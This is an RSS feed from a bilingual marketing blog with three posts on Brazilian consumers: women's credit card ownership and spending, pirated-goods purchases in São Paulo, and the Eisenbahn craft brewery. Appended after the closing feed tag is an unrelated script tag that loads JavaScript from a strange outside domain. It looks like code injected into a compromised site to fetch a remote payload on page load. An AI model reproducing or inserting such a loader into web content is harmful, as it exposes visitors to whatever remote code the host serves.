

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogamericas.com &#187; brasil</title>
	<atom:link href="http://www.blogamericas.com/tag/brasil/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blogamericas.com</link>
	<description>The bilingual blog of TWRAmericas</description>
	<lastBuildDate>Sat, 31 Jul 2010 22:53:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Women have more credit cards but spend less</title>
		<link>http://www.blogamericas.com/2008/03/29/women-have-more-credit-cards-but-spend-less/</link>
		<comments>http://www.blogamericas.com/2008/03/29/women-have-more-credit-cards-but-spend-less/#comments</comments>
		<pubDate>Sat, 29 Mar 2008 19:13:18 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[brasil]]></category>
		<category><![CDATA[economy]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/2008/03/29/women-have-more-credit-cards-but-spend-less/</guid>
		<description><![CDATA[One of those catchy little snapshots of quantitative data that&#8217;s great for easy journalism &#8230; why shouldn&#8217;t  we join in too!This weeks Veja magazine reports that women n Brazil own 51.7% of the nations credit cards. However in terms of average spend they come in behind their male counterparts at just 45.9%.  Brazilians own approximately 93 million credit [...]]]></description>
			<content:encoded><![CDATA[<p>One of those catchy little snapshots of quantitative data that&#8217;s great for easy journalism &#8230; why shouldn&#8217;t  we join in too!This weeks <a href="http://vejaonline.abril.com.br/notitia/servlet/newstorm.ns.presentation.NavigationServlet?publicationCode=1&amp;pageCode=1&amp;id=138525&amp;textCode=138525&amp;currentDate=1206472020000">Veja</a> magazine reports that women n Brazil own 51.7% of the nations credit cards. However in terms of average spend they come in behind their male counterparts at just 45.9%.  Brazilians own approximately 93 million credit cards between 30 million cardholders. Even we can tell thats an average of 3 per person.  Unfortunately this announcement, the result of research from bank Itau had little to offer in terms of interpretation or explanation of the data. Just that the differences may be due to salary differences between the sexes or that women are more controlled spenders.If you have any ideas. .. feel free to comment here.  <span style="color: #333333; font-family: Verdana; font-size: 13px; line-height: 16px" class="Apple-style-span"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/03/29/women-have-more-credit-cards-but-spend-less/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>60% of Paulistas are pirate regulars</title>
		<link>http://www.blogamericas.com/2008/02/24/60-of-paulistas-are-pirate-regulars/</link>
		<comments>http://www.blogamericas.com/2008/02/24/60-of-paulistas-are-pirate-regulars/#comments</comments>
		<pubDate>Sun, 24 Feb 2008 21:24:50 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[brasil]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/2008/02/24/60-of-paulistas-are-pirate-regulars/</guid>
		<description><![CDATA[Having recently reported on the confidence felt by the consuming classes of Sao Paulo and their intentions to spend and invest more in 2008 than 2007, one wonders how much of their Reals will be spent on Ilegal products. A recent report indicated that 60% of the population of Sao Paulo are regular purchasers of ‘pirate’ products. [...]]]></description>
			<content:encoded><![CDATA[<p><!--StartFragment-->
<p class="MsoNormal" style="margin-bottom: 13pt; line-height: 17pt"><span lang="EN-US" style="font-size: 10pt; font-family: Verdana-Bold">Having <a href="http://twramericas.com/blog/2008/02/21/optimism-amongst-brazilian-consumers/">recently reported</a> on the confidence felt by the consuming classes of Sao Paulo and their intentions to spend and invest more in 2008 than 2007, one wonders how much of their Reals will be spent on Ilegal products. A recent report indicated that 60% of the population of Sao Paulo are regular purchasers of ‘pirate’ products. The research undertaken by the Federation of Commerce for the city with 900 individuals in the metropolitan region. Amongst the most pirated products are CD’s, electronic products and cameras and audio equipment and DVD’s. Lower prices are predictably the principal motive for purchasing. However, of interest and perhaps reflecting a gap in the supply chain in Brazil, a significant number reported the ease of access to products as a key factor. <span> </span><span> </span><span>  </span><o:p></o:p></span></p>
<p><!--EndFragment--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/02/24/60-of-paulistas-are-pirate-regulars/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eisenbahn</title>
		<link>http://www.blogamericas.com/2007/10/24/eisenbahn-2/</link>
		<comments>http://www.blogamericas.com/2007/10/24/eisenbahn-2/#comments</comments>
		<pubDate>Wed, 24 Oct 2007 21:20:42 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Brands]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[brasil]]></category>
		<category><![CDATA[Trends]]></category>

		<guid isPermaLink="false">http://twramericas.com/blog/?p=17</guid>
		<description><![CDATA[The 4th largest in the world, the beer market in Brazil has been undergoing something of a revival of late. Traditionally it has been dominated by ice-cold Pilsners from the major brands from Inbev (Brahma, Antartica, Bohemia and Skol) and Femsa (Kaiser, Bavaria). There are a number of strong regional brands such as Cerpa in [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" src="http://twramericas.com/blog/wp-content/uploads/2007/10/picture-2.thumbnail.png" /></p>
<p align="left">The 4th largest in the world, the beer market in Brazil has been undergoing something of a revival of late. Traditionally it has been dominated by ice-cold Pilsners from the major brands from Inbev (Brahma, Antartica, Bohemia and Skol) and Femsa (Kaiser, Bavaria). There are a number of strong regional brands such as Cerpa in the North and the Mexican brand Sol was recently launched in Brazil.<br />
More interesting however has been the increasing presence in bars and on supermarket shelves of a range of both more specialist foreign imports (soon to include the likes of Hoegaarden and London Pride) and the products of smaller national micro-breweries. In much the same way as the national wine market has become the focus of investment of late, a number of premium Brazilian draft and bottled beers have risen in prominence.<br />
Eisenbahn has to be one of our favourite waiting to be discovered Brazilian brands. Founded in the German colonial town of Blumenau in the south of the country, Eisenbahn produces a range of beers that include both light and dark beers, a Pale Ale and an Organic Pilsen. Not only does the product taste good but the brand benefits from distinctive packaging across the range and a great story behind the brewery and its look. Eisenbahn attempts to recreate traditional German brewing techniques and is the only Brazilian brewery to follow the 1516 German Beer Purity regulations. The brewery which is open to visitors includes a bar named the Eisenbahn station. Eisenbahn in German means railroad and the site of the brewery lays next to the towns one–time railway station. It also helps to explain why the brand logo, the train appears on all the companies products.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2007/10/24/eisenbahn-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>